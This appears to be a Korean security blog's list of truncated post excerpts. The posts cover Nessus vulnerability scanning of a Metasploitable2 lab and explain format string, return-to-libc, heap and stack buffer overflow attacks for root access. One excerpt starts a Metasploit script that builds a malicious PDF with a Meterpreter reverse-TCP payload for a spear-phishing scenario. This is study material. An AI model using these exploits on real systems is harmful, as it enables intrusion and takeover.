Critical High Medium Low Info 여러 단계의 취약점들이 발견 되었다. Critical에 가까울수록 공격(Exploitation)받기가 쉬우며, 시스템 주도권을 뺏기기 쉽다. 실제로 취약점이 존재하지만 스캔 되지 않는 취약점들을 'False Nefativce(존재하는 오류를 부정)' 이라고 부른다. 이와 반대는 'False Positive(존재하지 않는 오류진단)' 이 있다. ex)스팸메일 Metasploitable2 서버 공격 - [Critical Exploitation] Backdoor Metasploitable2에서 발견된 가장 높은 단계의 취약점인 백도어 공격을 수행해봤다. 1. 취약점 분석 Backdoor 취약점 목록으로 들어간다. 상세 페이지를 ..
스캐닝 환경 설정 공격 타겟 설정 Nessus가 active상태인 것을 확인하고 웹서버에 접속 했다면,[New Scan] - [Advanced Scan] 으로 들어온 뒤 공격할 Target IP주소들을 적는다. 같은 네트워크 환경에 구축되어있는 Metsploitable2와 WindowsXP서버 IP를 적어줬다. ASSESSMENT ASSESSMENT탭에서는 두 번째 칸을 체크한다. REPORT REPORT 탭에서 다음과 같이 설정. ADVANCED ADVANCED에선 다음과같이 설정. Credentials Credentials의 SSH탭에 인증 방식을 패스워드로 바꾸고 metasploitable2의 login정보를 입력한다. Plugins Plugins에서 CISCO, F5 Networks Local S..
Nessus 환경 세팅 가장 유명한 취약점 분석 툴 중 하나이다. 무료 버전인 Nessus Essentials를 사용했다. 1. Download ▶ Download Link Download에 저장된 파일로 설치를 실행한다. 2. 설치파일 실행 # service nessusd status # service nessusd start # netstat -tnlp nessusd가 실행되었는지 확인 후 inactive 상태라면 start 해주고, netstat로 tcp통신을 진행중인 서비스의 연결 상태를 확인한다. 3. Nessus 웹서버 접속 그다음 웹브라우저로 https://0.0.0.0:8834 로 접속. (또는 kali IP주소:8834) 들어온다면 essentials가입 으로 계속하기 한 다음 이름과 이..
포맷 스트링 공격은 데이터의 형태와 길이에 대한 불명확한 정의로 인한 문제점 중 '데이터 형태에 대한 불명확한 정의'로 인한 것으로, 포맷 스트링을 이용하여 버퍼 오버플로우와 같이 메모리에 셸을 띄워 놓고, ret 값을 변조하여 관리자 권한을 획득하는 것이다. 결국 포맷 스트링과 버퍼 오버플로우는 함수 실행시 ret 값을 변조하는 방법만 다를 뿐 기본 개념은 같다고 볼 수 있다. 포맷 스트링 공격은 데이터 형태나 길이가 명확하게 정의되어있지 않아서 생기는 문제점이다. 예를 들어 char *buffer = "wishfree\n%x\n"; print(buffer) 라고 한다면 wishfree가 저장된 이후 메모리에 존재하는 값까지 나타내어지게 된다. 즉, esp가 위치한 메모리 값을 읽어드린다. 이러한 포맷..
버퍼오버플로우 공격을 막기위해 스택에서 쉘코드가 실행되는 것을 방지하는 Non-Executable Stack 기법이 있다. RTL은 이것을 무력화 시키는 공격 방법으로 스택에 있는 ret 주소를 실행 가능한 임의의 주소(libc 영역의 주소)로 돌려 원하는 함수를 실행하게 만드는 기법이다. 메모리에 적재된 공유 라이브러리는 스택에 존재하는 것이 아니므로 Non-Executable Stack 을 우회하는 것이 가능하다. libc 영역에서 셸을 실행할 수 있는 함수인 system, execve, execl 등을 이용할 수 있다. RTL 공격을 사용해 root권한을 탈취해보자. bugfile.c int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffe..
heap영역은 동적할당되는 메모리 공간들을 제어하는 곳이다. BSS(Block Started by Symbol)이라고 불리며 스택과 정반대로 메모리의 하위 주소에서부터 상위 주소로 증가하는 형태다. 이를 활용해 root 권한을 탈취한다. heap-bugfile.c #include #include #include #include #include #define ERROR -1 int fucntion(const char *str){ printf("function 포인터에 호출되는 정상적인 함수\n", str); return 0; } int main(int argc, char **argv){ static char buf[16]; static int(*funcptr)(const char *str); if(argc..
스택 영역의 버퍼 사이즈를 초과시키는 데이터를 삽입해 다른 영역을 오염시키는 BoF(BufferOverFlow)취약점을 이용한다. bugfile로 RET 영역까지 데이터를 덮어씌우고 eggshell 코드가 실행시키도록 하여 root 권한을 탈취하자. 환경 : redhat6.2 eggshell.c EGG, RET을 환경변수로 설정하여 bash 새로 실행시키는 코드이다. 이 코드의 목적은 /bin/sh 을 root권한으로 열어주는 Shellcode를 주입시키는 것인데, 이 코드를 EGG라는 환경 변수에 저장하고, RET에는 스택 주소를 넣어 root권한을 탈취하게 된다. #include #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_ADDR_SIZE..
침투 시나리오 정리스피어피싱 침투 - 거점 PC 관리자 권한 탈취 - AD 서버 장악 - SSH 터널링 - VPN 통로 PC 확인 - 사설망 침투 MITRE ATT&CK Matrix attacker ippublic mail server ipAD server iphealth checkingmail server 접속metasploit를 활용해 악성 pdf파일 생성ㅎ배괴.STEP2. 다음 메타스플로잇 스크립트를 제작해 주세요.--- /tools/gen_PDF.rc -------------------------------------use exploit/windows/fileformat/adobe_pdf_embedded_exeset payload windows/meterpreter/reverse_tcpset L..